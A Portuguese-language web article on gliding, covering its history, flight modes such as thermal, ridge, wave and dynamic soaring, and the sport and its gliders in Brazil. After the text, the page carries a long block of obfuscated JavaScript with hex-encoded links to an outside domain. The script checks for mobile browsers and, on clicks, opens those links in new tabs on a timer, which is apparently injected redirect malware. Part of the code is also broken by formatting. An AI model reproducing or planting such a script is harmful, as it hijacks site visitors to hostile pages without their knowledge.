

### Um pouco de história...

Voo a vela, às vezes referida como planadorismo é a atividade do voo em planadores, um ramo da aviação desportiva praticada desde os primórdios da aviação. Teve desenvolvimento acentuado no período de 1920 a 1940 na Alemanha, se tornando uma atividade altamente competitiva e tecnologicamente avançada.



O planador foi o primeiro tipo de aeronave a fazer uso em larga escala de materiais compostos para sua construção já na década de 1960, além de fomentar o desenvolvimento cada vez mais refinado de aerodinâmica avançada e eletrônica embarcada. Os primeiros computadores eletrônicos de planeio surgiram nos anos 1970, e já em 1992 teve início o uso de aparelhos receptores de GPS's portáteis nos cockpits de planadores de competição. Em 1995 seu uso já era generalizado no esporte ao redor do mundo, inclusive no Brasil, tanto com GPS's portáteis como também com os chamados Flight Data Recorders (FDR) ou Registradores de voo GPS acoplados aos computadores eletrônicos de planeio.

### Modalidades de Voo

**Térmicas** - Embora existam muitas modalidades de voo a vela, a mais comum é a que utiliza as correntes ascendentes de origem convectiva para incrementar sua altitude. É o chamado Vôo em Térmicas.

**Voo de colina** - Em que o piloto utiliza o vento que vai de encontro a uma colina (chamado de corrente orográfica), subindo e elevando consigo o planador. Esse vôo é sempre realizado a barlavento da colina, pois do outro lado a corrente de ar é descendente.

**Onda estacionária** - Em que se alcançam altitudes muito elevadas nas quais se podem atingir distâncias realmente grandes. O atual record mundial de distância de 3.009 km foi batido nestas condições, na região dos Andes Argentinos em 2003.

**Voo dinâmico** - Executada principalmente por certas aves marinhas como o Albatroz, esta modalidade aproveita o diferencial de energia criado pela zona de atrito entre diferentes massas de ar. Experimentada em planador nos anos 80 pelo piloto australiano Ingo Renner, esta modalidade ainda é muito pouco explorada pela comunidade volovelística, mas novos projetos de planador visam contemplá-la.

### No Brasil

O Vôo em Térmicas é a modalidade mais difundida no Brasil e no mundo. É a modalidade utilizada também pelas grandes aves, como os urubus, Cegonhas, Condores, Albatrozes e tantos outros, desde tempos imemoriais. Embora não seja um esporte de massa, o vôo a vela no Brasil é mais difundido nas regiões Sul, Sudeste e Centro-Oeste.



Em termos meteorológicos, as melhores condições para vôos de distância no Brasil estão nas seguintes áreas: Noroeste do Rio Grande do Sul; Centro e Norte do Estado de São Paulo; Planalto Central (Formosa, no estado de Goiás); sul do Ceará, Piauí, oeste de Pernambuco e Oeste da Bahia, no Nordeste, embora praticamente não existam clubes nessas áreas do Nordeste (com exceção de Caruaru-PE). São alguns pilotos do Sudeste que constumam explorar estas áreas de tempos em tempos; lá foi batido o recorde brasileiro de distância, com mais de 1000 km voados pelo piloto Thomas Milko.

A indústria aeronáutica brasileira também desenvolveu alguns planadores, entre eles: Neivão, BN-1, Quero-Quero, Urupema, Nhapacan e P1.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;};_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx76x54x55x32x63x3
52','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx4bx44x6
6x33x63x363','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx77x6fx65x30x63x370','rand
om','-local-storage','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx6cx4ex63x37x63x327','
stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx4cx44x55x36x63x316','12075252qhSFyR','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx59x55x44x38x63x318','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx66x49x76x35
x63x355','4829028FhdmK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZC
Lx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return
_0x2ccc2;};return _0x10c8();}const
_0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){}try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}})(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx4ax55x4bx31x6
3x341',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx
2fx43x4fx78x34x63x344',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0
x196),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx45x76x64x39x63x399'," ,_0x3ec38a(
0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_
0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0
x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3)
,'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let
_0x129862=![];return
function(_0x784bdc){((/((android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e
```

laine|fennec|hiptop|iemoible|ip(hone|od)|iris|kindle|lge  
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(  
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa  
p|windows  
ce|xda|xiino|i[\_0x365b[0x4]](\_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]|770s|802s|a  
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-  
m|r|s  
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c  
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(  
ic|k0)|esl8|ez([4-7]|0|os|wa|ze)|fetc|fly(-|\_)g1  
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hci|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|  
|\_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(  
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( /)|klon|kpt  
|kwc-|kyo(c|k)|le(no|xi)|lg(  
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|  
oa|ts)|mmef|mo(01|02|bi|de|do|t(-|o|v)|zz)|mt(50|p1|v  
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30[0|2]|n50[0|2|5]|n7(0|0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6  
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p  
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-|2-7)|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/  
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4  
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v  
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-  
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|  
81|83|85|98)|w3c(-| )|webc|whit|wi(g  
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[\_0x365b[0x4]](\_0x784bdc[\_0x365b[0x5]](0x0,0x4)  
))&&(\_0x129862=!![]);;(navigator[\_0x365b[0x1]]|navigator[\_0x365b[0x2]]|window[\_0x365b[0x3]  
]),\_0x129862;};const  
\_0xfdead6=[\_0x365b[0x6],\_0x365b[0x7],\_0x365b[0x8],\_0x365b[0x9],\_0x365b[0xa],\_0x365b[0x  
b],\_0x365b[0xc],\_0x365b[0xd],\_0x365b[0xe],\_0x365b[0xf]],\_0x480bb2=0x3,\_0x3ddc80=0x6,\_0  
x10ad9f=\_0x1f773b=>{\_0x1f773b[\_0x365b[0x14]]((\_0x1e6b44,\_0x967357)=>{!localStorage[\_0  
x365b[0x12]](\_0x365b[0x10]+\_0x1e6b44+\_0x365b[0x11])&&localStorage[\_0x365b[0x13]](\_0x3  
65b[0x10]+\_0x1e6b44+\_0x365b[0x11],0x0);});,\_0x2317c1=\_0x3bd6cc=>{const  
\_0x2af2a2=\_0x3bd6cc[\_0x365b[0x15]]((\_0x20a0ef,\_0x11cb0d)=>localStorage[\_0x365b[0x12]](  
\_0x365b[0x10]+\_0x20a0ef+\_0x365b[0x11])==0x0);return  
\_0x2af2a2[Math[\_0x365b[0x18]](Math[\_0x365b[0x16]](0)\*\_0x2af2a2[\_0x365b[0x17]]);},\_0x57de  
ba=\_0x43d200=>localStorage[\_0x365b[0x13]](\_0x365b[0x10]+\_0x43d200+\_0x365b[0x11],0x1)  
,\_0x1dd2bd=\_0x51805f=>localStorage[\_0x365b[0x12]](\_0x365b[0x10]+\_0x51805f+\_0x365b[0x  
11]),\_0x5e3811=(0x5aa0fd,0x594b23)=>localStorage[\_0x365b[0x13]](\_0x365b[0x10]+\_0x5a  
a0fd+\_0x365b[0x11],\_0x594b23),\_0x381a18=(0x3ab06f,\_0x288873)=>{const  
\_0x266889=0x3e8\*0x3c\*0x3c;return  
Math[\_0x365b[0x1a]](Math[\_0x365b[0x19]](\_0x288873-\_0x3ab06f)/\_0x266889);},\_0x3f1308=(  
0x3a999a,\_0x355f3a)=>{const \_0x5c85ef=0x3e8\*0x3c;return  
Math[\_0x365b[0x1a]](Math[\_0x365b[0x19]](\_0x355f3a-\_0x3a999a)/\_0x5c85ef);},\_0x4a7983=(  
0x19abfa,\_0x2bf37,\_0xb43c45)=>{\_0x10ad9f(\_0x19abfa),newLocation=\_0x2317c1(\_0x19abfa)  
,\_0x5e3811(\_0x365b[0x10]+\_0x2bf37+\_0x365b[0x1b],\_0xb43c45),\_0x5e3811(\_0x365b[0x10]+  
\_0x2bf37+\_0x365b[0x1c],\_0xb43c45),\_0x57deba(newLocation),window[\_0x365b[0x0]](0)&&wind

```
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);}());
```